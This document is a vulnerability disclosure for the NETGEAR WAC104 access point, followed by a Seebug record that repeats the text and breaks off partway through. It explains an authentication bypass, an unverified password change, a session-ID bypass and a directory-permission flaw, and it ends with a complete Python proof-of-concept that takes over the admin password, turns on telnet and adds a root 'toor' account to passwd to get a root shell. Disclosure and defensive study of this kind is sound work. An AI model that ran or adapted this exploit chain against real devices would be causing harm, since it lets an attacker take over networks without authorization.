```
*** Summary:
Affected Model: NETGEAR WAC104 Dual Band 802.11ac Wireless Access Point
Firmware Version: V1.0.4.13 (from 2020-09-14)
NETGEAR WAC104 Access Point has multiple vulnerabilities which - chained
together - allow an attacker in LAN to both change device admin's password, and
gain root shell on the device.
NOTE: Actually I'm pretty sure an Internet-based attacker can perform a
reflected attack against a LAN user for most of these as well, however I haven't
tested this vector (it would require some modifications to the chain).
The reported exploit chain consists of the following vulnerabilities:
1. HTTP Authentication Bypass (mini_httpd)
2. Unverified Password Change (setup.cgi)
3. Session ID Verification Bypass (setup.cgi)
4. /tmp/etc Directory Permission Issue
In addition one more vulnerability outside of the exploit chain is reported:
1.5. .bss section Buffer Overflow in HTTP header processing (mini_httpd)
Sections below contain details on these vulnerabilities.
IMPORTANT: These vulnerabilities are reported under the 90-day policy, i.e. this
report will be shared publicly with the defensive community on 28th June 2021.
See https://www.google.com/about/appsecurity/ for details.
NOTE: At this point in time I haven't checked what other models are affected,
but I strongly suspect that at least several other NETGEAR devices use the same
code (e.g. R6220 or WNDR3700v5 seem to be using the same PCB).
*** Details:
**** 1. HTTP Authentication Bypass (mini_httpd)
WAC104 administration web panel requires HTTP Basic Authentication to access
most of its components (i.e. all the interesting ones).
The authentication checks are made by the function in mini_httpd at the address
0x00406adc, which starts with the following pseudo-code:
if (DWORD_flag_at_004202a4 == 1) {
/* Check whether IP is from LAN, which is always true on this model. */
return;
}
/* Normal authentication path continues.
* Process exits in case of invalid credentials.
*/
The DWORD_flag_at_004202a4 flag is set on three occasions when processing the
HTTP request packet in the 0x00407a28 function:
1. When "SOAPAction:" HTTP header is present and has a specific value.
2. When the requested URI contains "setupwizard.cgi" substring.
3. When the requested URI contains "currentsetting.htm" substring.
Both the 1. and 2. instance are done pretty early in the code of the said
function, and both result in the execution being redirected to a branch which
seems to cut the connection to the HTTP server short (I didn't investigate why
is that).
The 3. instance is done pretty late in the request parsing code, and it doesn't
result in the HTTP server misbehaving. Its pseudo-code looks like this:
if (strstr(request_URI, "currentsetting.htm") != NULL) {
DWORD_flag_at_004202a4 = 1;
}
/* Processing continues. */
To bypass authentication, yet still maintain the ability to request any CGI
script, it's enough to use null-byte poison in the following manner:
GET /file-to-access%00currentsetting.htm HTTP/1.1
The 3. check will be successful since it's performed before the requested URI is
URL-decoded. And the latter URL-decoding will inject the null-byte to truncate
the C-string short for further processing.
Please note that the null-byte here isn't required for this to work - for
example placing the "currentsetting.htm" string in an additional query parameter
should work as well (e.g. /setup.cgi?todo=something&xyz=currentsetting.htm).
In the exploit chain this bypass allows the attacker to call any GET action in
setup.cgi (for POST actions see vulnerability 3).
Proposed Fix:
Review the whole authentication logic. If access to some files is really needed
without authentication, make sure that the file name is checked against a list
after all the processing is done. Checking if a string is contained in an URI
is obviously not the way to go.
**** 1.5. .bss section Buffer Overflow in HTTP header processing (mini_httpd)
This isn't really used in this exploit chain, but the "SOAPAction:" HTTP header
processing has a .bss section-based buffer overflow. Here's the pseudo code of a
part of the mini_httpd's HTTP request processing function (around 0x0040804c):
if (strncasecmp(header_line, "SOAPAction:", 11) == 0) {
int i = strspn(header_line + 11, " \t");
char *p = strcasestr(header_line + 11 + i, urn:NETGEAR-ROUTER:service:");
int j = 0;
if (p != NULL) {
while (true) {
if (p[j + 27] == ':') break; // Missing output buffer length check.
buffer_at_00420224[j] = p[j + 27];
j++;
}
buffer_at_00420224[j] = 0;
DWORD_flag_at_004202a4 = 1;
}
}
Currently because (as mentioned before) setting the DWORD_flag_at_004202a4 flag
causes the server to exit early, this might not be exploitable (though I didn't
spend enough time on this to say that with any certainty).
If it would be though, there are a couple of interesting pointers nearby in
memory that might turn this into a read-from-where and a write-what-where
conditions (that would be the HTTP response buffer pointer + sizes).
Proposed Fix:
Either add a size check, or remove this code if it's not needed.
**** 2. Unverified Password Change (setup.cgi)
The setup.cgi program has 120 different actions allowing to read and write
various configuration options, as well as perform various other administrative
actions.
There are two actions specific to changing the password:
1. todo=save_passwd
2. todo=con_save_passwd
The first one (save_passwd) is meant to be used through the web interface and
requires the user to provide the old password. To be more precise, it verifies
the old password against the one stored in NVRAM under the "http_password" key,
and then writes the new password both to NVRAM's "http_password" and to the
/etc/htpasswd file (but not to /etc/passwd). It also requires a POST request
with a valid session id ("id") query parameter.
The second one (con_save_passwd) however doesn't require the old password, and
happily changes the NVRAM "http_password" (only this one) to the provided one.
Example (incorporating the authentication bypass; this could be an XSRF from
WAN as well):
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin
The above request will change WAC104's password in NVRAM, however it still
requires:
A. A reboot for the password to be propagated to /etc/passwd and /etc/htpasswd
files.
B. Or a call to todo=save_passwd action to reset the password to the
/etc/htpasswd file for immediate website access (since the password in
NVRAM was already changed, this action is now feasible as well).
Both of these however require a POST request with a valid session (see next
vulnerability).
Proposed Fix:
Either remove con_save_passwd (and all other unused actions) from setup.cgi,
or make sure it verifies the old password.
Also, all GET actions seem to not have any XSRF protections. This should be
reworked as it currently enabled reflected attacks against a logged-in admin.
**** 3. Session ID Verification Bypass (setup.cgi)
I'll admit that this vulnerability behaves weird, and I might be completely
misunderstanding the code behind it. That said, I decided to report it as well.
For POST requests setup.cgi checks (in main()) whether the /tmp/SessionFile file
contains the same 32-bit number as the "id" query parameter. If it doesn't, it
goes into a branch that eventually falls into a "respond with 403" block.
The /tmp/SessionFile file's name can actually be suffixed by the attacker by
using another query parameter - "sp". E.g. for "sp=ABC" the opened session
file would be "/tmp/SessionFileABC".
The problem lies in the function which reads the integer value from the session
file - i.e. the function (at 0x00403f04) returns 0 in case the file is not found
(pseudo-code follows):
int session_id = 0;
FILE *f = fopen(session_file, "r");
if (f != NULL) {
fscanf(f, "%x", &session_id);
fclose(f);
} // Missing hard error on non-existing file.
return session_id;
Given the above, it seems to be enough to send "id=0&sp=ABC" in the request to
bypass the session number verification (as /tmp/SessionFileABC should not
exist, therefore the function would return 0).
NOTE: Sometimes it's required to enter /401_access_denied.htm endpoint before
this starts to work. Sometimes it works in weird/unpredictable ways. More
analysis would be required here.
Proposed Fix:
There are three things that should be addressed here:
1. Appending the suffix seems to allow path traversal - this isn't ideal and
should be fixed. The "sp" parameter can probably be limited to integers
only.
2. Missing session file should result in a hard error.
3. A 32-bit number is brute-forcable in LAN. It should be at least 128 bits.
**** 4. /tmp/etc Directory Permission Issue
After rebooting the Access Point (using e.g. /setup.cgi with todo=reboot) the
changed password would be propagated everywhere.
This allows the attacker to enable the telnetd server (using a simple
/setup.cgi?todo=debug request) and get access to the shell.
This however grants only "admin" (uid 2000) user access, and not "root" (uid 0),
with all files and processed being owned by "root".
To elevate privileges to root it's enough to run the following commands:
cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd
The commands above abuse the fact that:
1. /etc/ points to /tmp/etc
2. /tmp/etc/ directory has permissions set to 777 (rwxrwxrwx).
This means that while the "admin" user cannot change /etc/passwd (or rather
/tmp/etc/passwd) since it's owned by "root" with 644 (rw-r--r--) permissions,
they can in fact rename it since the parent directory has 777 permissions.
After this the attacker can create a new passwd file and add a new entry to it.
For example the snipped above adds a new user "toor" with uid/gid 0, and
password set to "AlaMaKota1234".
Proposed Fix:
Review all permissions in the file system. There are multiple directories which
probably shouldn't be 777, and multiple files which probably shouldn't be
readable by "admin".
*** PoC Exploit:
The Python 3 Proof of Concept exploit below implement the full LAN exploit
chain, starting from no access at all, and (if everything works well) ending
with a root shell on the device.
Since it's only a PoC, it's neither robust nor well tested. E.g. note that
you'll have to edit the IP in source (line 18), as well as press ENTER a couple
of times at various places to progress (e.g. after router reboot).
#!/usr/bin/python
# This is a helper CTF script which I normally use, so the quality of the code
# isn't the greatest. Oh well :shrug:.
# In any case, you need to set the IP of the WAC104 AP.
# Tested on 1.0.4.13 firmware.
# -- gynvael
import random
import sys
import socket
import telnetlib
import os
import time
import base64
import threading
from struct import pack, unpack
DEBUG = False
HOST = '192.168.2.203'
TEMP_PASSWORD = "SomeTempPwd1234"
NEW_PASSWORD = "NewSetPwd1234"
# Root (or rather toor) user's password is hardcoded.
def recvuntil(sock, txt):
d = b""
while d.find(txt) == -1:
try:
dnow = sock.recv(1)
if len(dnow) == 0:
return ("DISCONNECTED", d)
except socket.timeout:
return ("TIMEOUT", d)
except socket.error as msg:
return ("ERROR", d)
d += dnow
return ("OK", d)
def recvall(sock, n):
d = b""
while len(d) != n:
try:
dnow = sock.recv(n - len(d))
if len(dnow) == 0:
return ("DISCONNECTED", d)
except socket.timeout:
return ("TIMEOUT", d)
except socket.error as msg:
return ("ERROR", d)
d += dnow
return ("OK", d)
# Proxy object for sockets.
class gsocket(object):
def __init__(self, *p):
self._sock = socket.socket(*p)
def __getattr__(self, name):
return getattr(self._sock, name)
def recvall(self, n):
err, ret = recvall(self._sock, n)
if err != "OK":
return False
return ret
def recvuntil(self, txt):
err, ret = recvuntil(self._sock, txt)
if err != "OK":
return False
return ret
def recvuntilend(self):
k = []
while True:
d = self._sock.recv(10000)
if not d:
break
k.append(d)
return b''.join(k)
def send_via_http(payload):
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 80))
s.sendall(payload)
d = s.recvuntilend()
d = str(d, "cp852")
if DEBUG:
sys.stdout.write(d)
print("")
status = d.split("\n")[0].strip()
print(status)
s.shutdown(socket.SHUT_RDWR)
s.close()
return status
def reset_session_state_or_sth():
# I'm not really sure why this works, but it does.
status = send_via_http(
b'\r\n'.join([
b"GET /401_access_denied.htm HTTP/1.5",
b"Host: aplogin",
b"", b""
])
)
if "200 OK" not in status:
sys.exit("ERROR: Something went wrong on the initial step.")
def enable_debug_mode():
status = send_via_http(
b'\r\n'.join([
b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5",
b"Host: aplogin",
b"", b""
])
)
if "200 OK" not in status:
sys.exit("ERROR: Something went when enabling telnet.")
def change_nvram_password(new_password):
# This is an PoC exploit, so skipping any URL-encoding that should be done
# here.
new_password = bytes(new_password, "utf-8")
status = send_via_http(
b'\r\n'.join([
( b"GET /setup.cgi?todo=con_save_passwd&"
b"sysNewPasswd=%s&sysConfirmPasswd=%s"
b"%%00currentsetting.htm HTTP/1.5" ) % (new_password, new_password),
b"Host: aplogin",
b"", b""
])
)
if len(status):
print("WARN: This usually returns nothing. Weird.")
def reboot():
send_via_http(
b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: 11",
b"Content-Type: application/x-www-form-urlencoded",
b"",
b"todo=reboot"
])
)
def change_password_full(old_password, new_password):
old_password = bytes(old_password, "utf-8")
new_password = bytes(new_password, "utf-8")
post_body = (
b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&"
b"question1=1&answer1=a&question2=1&answer2=a&"
b"todo=save_passwd&"
b"this_file=PWD_password.htm&"
b"next_file=PWD_password.htm&"
b"SID=&h_enable_recovery=disable&"
b"h_question1=1&h_question2=1"
) % (old_password, new_password, new_password)
status = send_via_http(
b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: %i" % len(post_body),
b"Content-Type: application/x-www-form-urlencoded",
b"",
post_body
])
)
if "200 OK" not in status:
sys.exit("ERROR: Something went wrong when committing password.")
def add_root_user(password):
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 23))
t = telnetlib.Telnet()
t.sock = s
print(str(t.read_until(b"WAC104 login: "), "cp852"))
t.write(b"admin\n")
print(str(t.read_until(b"Password: "), "cp852"))
t.write(bytes(password, "utf-8") + b"\n")
print(str(t.read_until(b"$ "), "cp852"))
# Adds root user named "toor" with password "AlaMaKota1234".
t.write(
b"cd /tmp/etc\n"
b"cp passwd passwdx\n"
b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n"
b"mv passwd old_passwd\n"
b"mv passwdx passwd\n"
b"echo DONEMARKER\n"
)
print(str(t.read_until(b"DONEMARKER"), "cp852"))
t.close()
def connect_as_root():
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 23))
t = telnetlib.Telnet()
t.sock = s
print(str(t.read_until(b"WAC104 login: "), "cp852"))
t.write(b"toor\n")
print(str(t.read_until(b"Password: "), "cp852"))
t.write(b"AlaMaKota1234\n")
t.interact()
t.close()
print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()
print(("-" * 70) + " CHANGE NVRAM PASSWORD")
change_nvram_password(TEMP_PASSWORD)
print(("-" * 70) + " CHANGE FULL PASSWORD")
change_password_full(TEMP_PASSWORD, NEW_PASSWORD)
print(
f"\n"
f"From now you can login to the web interface using these credentials:\n"
f" admin / {NEW_PASSWORD}\n"
f"\n"
f"Press CTRL+C to stop here. Otherwise press ENTER to reboot the router, "
f"enable telnetd, and run privilege escalation exploit.\n"
)
input()
print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()
print(("-" * 70) + " REBOOT")
reboot()
print(
"\n"
"Wait a few minutes for the device to restart and press ENTER to continue.\n"
)
input()
print(("-" * 70) + " ENABLE DEBUG MODE")
enable_debug_mode()
print(("-" * 70) + " WAITING 10 SECONDS FOR TELNETD")
time.sleep(10)
print(("-" * 70) + " TRYING TO GET ROOT")
for i in range(5):
try:
add_root_user(NEW_PASSWORD)
break
except socket.ConnectionRefusedError:
print("Sleeping 5 more seconds...")
time.sleep(5)
print(
"\n"
"In the future you can connect as root using these credentials:\n"
" toor / AlaMaKota1234\n"
"\n"
)
print(("-" * 70) + " CONNECTING TO TELNETD AS ROOT")
connect_as_root()
```
{"id": "SSV:99295", "type": "seebug", "bulletinFamily": "exploit", "title": "NETGEAR WAC104\u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e(CVE-2021-35973)", "description": "```\n*** Summary:\n\nAffected Model: NETGEAR WAC104 Dual Band 802.11ac Wireless Access Point\nFirmware Version: V1.0.4.13 (from 2020-09-14)\n\nNETGEAR WAC104 Access Point has multiple vulnerabilities which - chained\ntogether - allow an attacker in LAN to both change device admin's password, and\ngain root shell on the device.\n\nNOTE: Actually I'm pretty sure an Internet-based attacker can perform a\nreflected attack against a LAN user for most of these as well, however I haven't\ntested this vector (it would require some modifications to the chain).\n\nThe reported exploit chain consists of the following vulnerabilities:\n\n 1. HTTP Authentication Bypass (mini_httpd)\n 2. Unverified Password Change (setup.cgi)\n 3. Session ID Verification Bypass (setup.cgi)\n 4. /tmp/etc Directory Permission Issue\n\nIn addition one more vulnerability outside of the exploit chain is reported:\n\n 1.5. .bss section Buffer Overflow in HTTP header processing (mini_httpd)\n\nSections below contain details on these vulnerabilities.\n\nIMPORTANT: These vulnerabilities are reported under the 90-day policy, i.e. this\nreport will be shared publicly with the defensive community on 28th June 2021.\nSee https://www.google.com/about/appsecurity/ for details.\n\nNOTE: At this point in time I haven't checked what other models are affected,\nbut I strongly suspect that at least several other NETGEAR devices use the same\ncode (e.g. R6220 or WNDR3700v5 seem to be using the same PCB).\n\n\n*** Details:\n\n\n**** 1. HTTP Authentication Bypass (mini_httpd)\n\nWAC104 administration web panel requires HTTP Basic Authentication to access\nmost of its components (i.e. all the interesting ones).\n\nThe authentication checks are made by the function in mini_httpd at the address\n0x00406adc, which starts with the following pseudo-code:\n\n if (DWORD_flag_at_004202a4 == 1) {\n /* Check whether IP is from LAN, which is always true on this model. */\n return;\n }\n /* Normal authentication path continues.\n * Process exits in case of invalid credentials.\n */\n\nThe DWORD_flag_at_004202a4 flag is set on three occasions when processing the\nHTTP request packet in the 0x00407a28 function:\n\n 1. When \"SOAPAction:\" HTTP header is present and has a specific value.\n 2. When the requested URI contains \"setupwizard.cgi\" substring.\n 3. When the requested URI contains \"currentsetting.htm\" substring.\n\nBoth the 1. and 2. instance are done pretty early in the code of the said\nfunction, and both result in the execution being redirected to a branch which\nseems to cut the connection to the HTTP server short (I didn't investigate why\nis that).\n\nThe 3. instance is done pretty late in the request parsing code, and it doesn't\nresult in the HTTP server misbehaving. Its pseudo-code looks like this:\n\n if (strstr(request_URI, \"currentsetting.htm\") != NULL) {\n DWORD_flag_at_004202a4 = 1;\n }\n /* Processing continues. */\n\nTo bypass authentication, yet still maintain the ability to request any CGI\nscript, it's enough to use null-byte poison in the following manner:\n\n GET /file-to-access%00currentsetting.htm HTTP/1.1\n\nThe 3. check will be successful since it's performed before the requested URI is\nURL-decoded. And the latter URL-decoding will inject the null-byte to truncate\nthe C-string short for further processing.\n\nPlease note that the null-byte here isn't required for this to work - for\nexample placing the \"currentsetting.htm\" string in an additional query parameter\nshould work as well (e.g. /setup.cgi?todo=something&xyz=currentsetting.htm).\n\nIn the exploit chain this bypass allows the attacker to call any GET action in\nsetup.cgi (for POST actions see vulnerability 3).\n\nProposed Fix:\nReview the whole authentication logic. If access to some files is really needed\nwithout authentication, make sure that the file name is checked against a list\nafter all the processing is done. Checking if a string is contained in an URI\nis obviously not the way to go.\n\n\n**** 1.5. .bss section Buffer Overflow in HTTP header processing (mini_httpd)\n\nThis isn't really used in this exploit chain, but the \"SOAPAction:\" HTTP header\nprocessing has a .bss section-based buffer overflow. Here's the pseudo code of a\npart of the mini_httpd's HTTP request processing function (around 0x0040804c):\n\n if (strncasecmp(header_line, \"SOAPAction:\", 11) == 0) {\n int i = strspn(header_line + 11, \" \\t\");\n char *p = strcasestr(header_line + 11 + i, urn:NETGEAR-ROUTER:service:\");\n int j = 0;\n if (p != NULL) {\n while (true) {\n if (p[j + 27] == ':') break; // Missing output buffer length check.\n buffer_at_00420224[j] = p[j + 27];\n j++;\n }\n buffer_at_00420224[j] = 0;\n DWORD_flag_at_004202a4 = 1;\n }\n }\n\nCurrently because (as mentioned before) setting the DWORD_flag_at_004202a4 flag\ncauses the server to exit early, this might not be exploitable (though I didn't\nspend enough time on this to say that with any certainty).\n\nIf it would be though, there are a couple of interesting pointers nearby in\nmemory that might turn this into a read-from-where and a write-what-where\nconditions (that would be the HTTP response buffer pointer + sizes).\n\nProposed Fix:\nEither add a size check, or remove this code if it's not needed.\n\n\n**** 2. Unverified Password Change (setup.cgi)\n\nThe setup.cgi program has 120 different actions allowing to read and write\nvarious configuration options, as well as perform various other administrative\nactions.\n\nThere are two actions specific to changing the password:\n\n 1. todo=save_passwd\n 2. todo=con_save_passwd\n\nThe first one (save_passwd) is meant to be used through the web interface and\nrequires the user to provide the old password. To be more precise, it verifies\nthe old password against the one stored in NVRAM under the \"http_password\" key,\nand then writes the new password both to NVRAM's \"http_password\" and to the\n/etc/htpasswd file (but not to /etc/passwd). It also requires a POST request\nwith a valid session id (\"id\") query parameter.\n\nThe second one (con_save_passwd) however doesn't require the old password, and\nhappily changes the NVRAM \"http_password\" (only this one) to the provided one.\n\nExample (incorporating the authentication bypass; this could be an XSRF from\nWAN as well):\n\nGET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1\nHost: aplogin\n\nThe above request will change WAC104's password in NVRAM, however it still\nrequires:\n\n A. A reboot for the password to be propagated to /etc/passwd and /etc/htpasswd\n files.\n B. Or a call to todo=save_passwd action to reset the password to the\n /etc/htpasswd file for immediate website access (since the password in\n NVRAM was already changed, this action is now feasible as well).\n\nBoth of these however require a POST request with a valid session (see next\nvulnerability).\n\nProposed Fix:\nEither remove con_save_passwd (and all other unused actions) from setup.cgi,\nor make sure it verifies the old password.\nAlso, all GET actions seem to not have any XSRF protections. This should be\nreworked as it currently enabled reflected attacks against a logged-in admin.\n\n\n**** 3. Session ID Verification Bypass (setup.cgi)\n\nI'll admit that this vulnerability behaves weird, and I might be completely\nmisunderstanding the code behind it. That said, I decided to report it as well.\n\nFor POST requests setup.cgi checks (in main()) whether the /tmp/SessionFile file\ncontains the same 32-bit number as the \"id\" query parameter. If it doesn't, it\ngoes into a branch that eventually falls into a \"respond with 403\" block.\n\nThe /tmp/SessionFile file's name can actually be suffixed by the attacker by\nusing another query parameter - \"sp\". E.g. for \"sp=ABC\" the opened session\nfile would be \"/tmp/SessionFileABC\".\n\nThe problem lies in the function which reads the integer value from the session\nfile - i.e. the function (at 0x00403f04) returns 0 in case the file is not found\n(pseudo-code follows):\n\n int session_id = 0;\n FILE *f = fopen(session_file, \"r\");\n if (f != NULL) {\n fscanf(f, \"%x\", &session_id);\n fclose(f);\n } // Missing hard error on non-existing file.\n return session_id;\n\nGiven the above, it seems to be enough to send \"id=0&sp=ABC\" in the request to\nbypass the session number verification (as /tmp/SessionFileABC should not\nexist, therefore the function would return 0).\n\nNOTE: Sometimes it's required to enter /401_access_denied.htm endpoint before\nthis starts to work. Sometimes it works in weird/unpredictable ways. More\nanalysis would be required here.\n\nProposed Fix:\nThere are three things that should be addressed here:\n\n 1. Appending the suffix seems to allow path traversal - this isn't ideal and\n should be fixed. The \"sp\" parameter can probably be limited to integers\n only.\n 2. Missing session file should result in a hard error.\n 3. A 32-bit number is brute-forcable in LAN. It should be at least 128 bits.\n\n\n**** 4. /tmp/etc Directory Permission Issue\n\nAfter rebooting the Access Point (using e.g. /setup.cgi with todo=reboot) the\nchanged password would be propagated everywhere.\nThis allows the attacker to enable the telnetd server (using a simple\n/setup.cgi?todo=debug request) and get access to the shell.\n\nThis however grants only \"admin\" (uid 2000) user access, and not \"root\" (uid 0),\nwith all files and processed being owned by \"root\".\n\nTo elevate privileges to root it's enough to run the following commands:\n\n cd /tmp/etc\n cp passwd passwdx\n echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n mv passwd old_passwd\n mv passwdx passwd\n\nThe commands above abuse the fact that:\n\n 1. /etc/ points to /tmp/etc\n 2. /tmp/etc/ directory has permissions set to 777 (rwxrwxrwx).\n\nThis means that while the \"admin\" user cannot change /etc/passwd (or rather\n/tmp/etc/passwd) since it's owned by \"root\" with 644 (rw-r--r--) permissions,\nthey can in fact rename it since the parent directory has 777 permissions.\n\nAfter this the attacker can create a new passwd file and add a new entry to it.\nFor example the snipped above adds a new user \"toor\" with uid/gid 0, and\npassword set to \"AlaMaKota1234\".\n\nProposed Fix:\nReview all permissions in the file system. There are multiple directories which\nprobably shouldn't be 777, and multiple files which probably shouldn't be\nreadable by \"admin\".\n\n\n*** PoC Exploit:\n\nThe Python 3 Proof of Concept exploit below implement the full LAN exploit\nchain, starting from no access at all, and (if everything works well) ending\nwith a root shell on the device.\nSince it's only a PoC, it's neither robust nor well tested. E.g. note that\nyou'll have to edit the IP in source (line 18), as well as press ENTER a couple\nof times at various places to progress (e.g. after router reboot).\n\n\n#!/usr/bin/python\n# This is a helper CTF script which I normally use, so the quality of the code\n# isn't the greatest. Oh well :shrug:.\n# In any case, you need to set the IP of the WAC104 AP.\n# Tested on 1.0.4.13 firmware.\n# -- gynvael\nimport random\nimport sys\nimport socket\nimport telnetlib\nimport os\nimport time\nimport base64\nimport threading\nfrom struct import pack, unpack\n\nDEBUG = False\nHOST = '192.168.2.203'\n\nTEMP_PASSWORD = \"SomeTempPwd1234\"\nNEW_PASSWORD = \"NewSetPwd1234\"\n# Root (or rather toor) user's password is hardcoded.\n\ndef recvuntil(sock, txt):\n d = b\"\"\n while d.find(txt) == -1:\n try:\n dnow = sock.recv(1)\n if len(dnow) == 0:\n return (\"DISCONNECTED\", d)\n except socket.timeout:\n return (\"TIMEOUT\", d)\n except socket.error as msg:\n return (\"ERROR\", d)\n d += dnow\n return (\"OK\", d)\n\ndef recvall(sock, n):\n d = b\"\"\n while len(d) != n:\n try:\n dnow = sock.recv(n - len(d))\n if len(dnow) == 0:\n return (\"DISCONNECTED\", d)\n except socket.timeout:\n return (\"TIMEOUT\", d)\n except socket.error as msg:\n return (\"ERROR\", d)\n d += dnow\n return (\"OK\", d)\n\n# Proxy object for sockets.\nclass gsocket(object):\n def __init__(self, *p):\n self._sock = socket.socket(*p)\n\n def __getattr__(self, name):\n return getattr(self._sock, name)\n\n def recvall(self, n):\n err, ret = recvall(self._sock, n)\n if err != \"OK\":\n return False\n return ret\n\n def recvuntil(self, txt):\n err, ret = recvuntil(self._sock, txt)\n if err != \"OK\":\n return False\n return ret\n\n def recvuntilend(self):\n k = []\n while True:\n d = self._sock.recv(10000)\n if not d:\n break\n k.append(d)\n\n return b''.join(k)\n\ndef send_via_http(payload):\n s = gsocket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((HOST, 80))\n\n s.sendall(payload)\n\n d = s.recvuntilend()\n d = str(d, \"cp852\")\n\n if DEBUG:\n sys.stdout.write(d)\n print(\"\")\n\n status = d.split(\"\\n\")[0].strip()\n print(status)\n\n s.shutdown(socket.SHUT_RDWR)\n s.close()\n\n return status\n\ndef reset_session_state_or_sth():\n # I'm not really sure why this works, but it does.\n status = send_via_http(\n b'\\r\\n'.join([\n b\"GET /401_access_denied.htm HTTP/1.5\",\n b\"Host: aplogin\",\n b\"\", b\"\"\n ])\n )\n\n if \"200 OK\" not in status:\n sys.exit(\"ERROR: Something went wrong on the initial step.\")\n\ndef enable_debug_mode():\n status = send_via_http(\n b'\\r\\n'.join([\n b\"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5\",\n b\"Host: aplogin\",\n b\"\", b\"\"\n ])\n )\n\n if \"200 OK\" not in status:\n sys.exit(\"ERROR: Something went when enabling telnet.\")\n\ndef change_nvram_password(new_password):\n # This is an PoC exploit, so skipping any URL-encoding that should be done\n # here.\n new_password = bytes(new_password, \"utf-8\")\n status = send_via_http(\n b'\\r\\n'.join([\n ( b\"GET /setup.cgi?todo=con_save_passwd&\"\n b\"sysNewPasswd=%s&sysConfirmPasswd=%s\"\n b\"%%00currentsetting.htm HTTP/1.5\" ) % (new_password, new_password),\n b\"Host: aplogin\",\n b\"\", b\"\"\n ])\n )\n\n if len(status):\n print(\"WARN: This usually returns nothing. Weird.\")\n\ndef reboot():\n send_via_http(\n b'\\r\\n'.join([\n b\"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1\",\n b\"Host: aplogin\",\n b\"Content-Length: 11\",\n b\"Content-Type: application/x-www-form-urlencoded\",\n b\"\",\n b\"todo=reboot\"\n ])\n )\n\ndef change_password_full(old_password, new_password):\n old_password = bytes(old_password, \"utf-8\")\n new_password = bytes(new_password, \"utf-8\")\n post_body = (\n b\"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&\"\n b\"question1=1&answer1=a&question2=1&answer2=a&\"\n b\"todo=save_passwd&\"\n b\"this_file=PWD_password.htm&\"\n b\"next_file=PWD_password.htm&\"\n b\"SID=&h_enable_recovery=disable&\"\n b\"h_question1=1&h_question2=1\"\n ) % (old_password, new_password, new_password)\n\n status = send_via_http(\n b'\\r\\n'.join([\n b\"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1\",\n b\"Host: aplogin\",\n b\"Content-Length: %i\" % len(post_body),\n b\"Content-Type: application/x-www-form-urlencoded\",\n b\"\",\n post_body\n ])\n )\n\n if \"200 OK\" not in status:\n sys.exit(\"ERROR: Something went wrong when committing password.\")\n\ndef add_root_user(password):\n s = gsocket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((HOST, 23))\n\n t = telnetlib.Telnet()\n t.sock = s\n\n print(str(t.read_until(b\"WAC104 login: \"), \"cp852\"))\n t.write(b\"admin\\n\")\n\n print(str(t.read_until(b\"Password: \"), \"cp852\"))\n t.write(bytes(password, \"utf-8\") + b\"\\n\")\n\n print(str(t.read_until(b\"$ \"), \"cp852\"))\n # Adds root user named \"toor\" with password \"AlaMaKota1234\".\n t.write(\n b\"cd /tmp/etc\\n\"\n b\"cp passwd passwdx\\n\"\n b\"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\\n\"\n b\"mv passwd old_passwd\\n\"\n b\"mv passwdx passwd\\n\"\n b\"echo DONEMARKER\\n\"\n )\n\n print(str(t.read_until(b\"DONEMARKER\"), \"cp852\"))\n\n t.close()\n\ndef connect_as_root():\n s = gsocket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((HOST, 23))\n\n t = telnetlib.Telnet()\n t.sock = s\n\n print(str(t.read_until(b\"WAC104 login: \"), \"cp852\"))\n t.write(b\"toor\\n\")\n\n print(str(t.read_until(b\"Password: \"), \"cp852\"))\n t.write(b\"AlaMaKota1234\\n\")\n\n t.interact()\n t.close()\n\nprint((\"-\" * 70) + \" RESET SESSION STATE\")\nreset_session_state_or_sth()\n\nprint((\"-\" * 70) + \" CHANGE NVRAM PASSWORD\")\nchange_nvram_password(TEMP_PASSWORD)\n\nprint((\"-\" * 70) + \" CHANGE FULL PASSWORD\")\nchange_password_full(TEMP_PASSWORD, NEW_PASSWORD)\n\nprint(\n f\"\\n\"\n f\"From now you can login to the web interface using these credentials:\\n\"\n f\" admin / {NEW_PASSWORD}\\n\"\n f\"\\n\"\n f\"Press CTRL+C to stop here. Otherwise press ENTER to reboot the router, \"\n f\"enable telnetd, and run privilege escalation exploit.\\n\"\n)\n\ninput()\n\nprint((\"-\" * 70) + \" RESET SESSION STATE\")\nreset_session_state_or_sth()\n\nprint((\"-\" * 70) + \" REBOOT\")\nreboot()\n\nprint(\n \"\\n\"\n \"Wait a few minutes for the device to restart and press ENTER to continue.\\n\"\n)\ninput()\n\nprint((\"-\" * 70) + \" ENABLE DEBUG MODE\")\nenable_debug_mode()\n\nprint((\"-\" * 70) + \" WAITING 10 SECONDS FOR 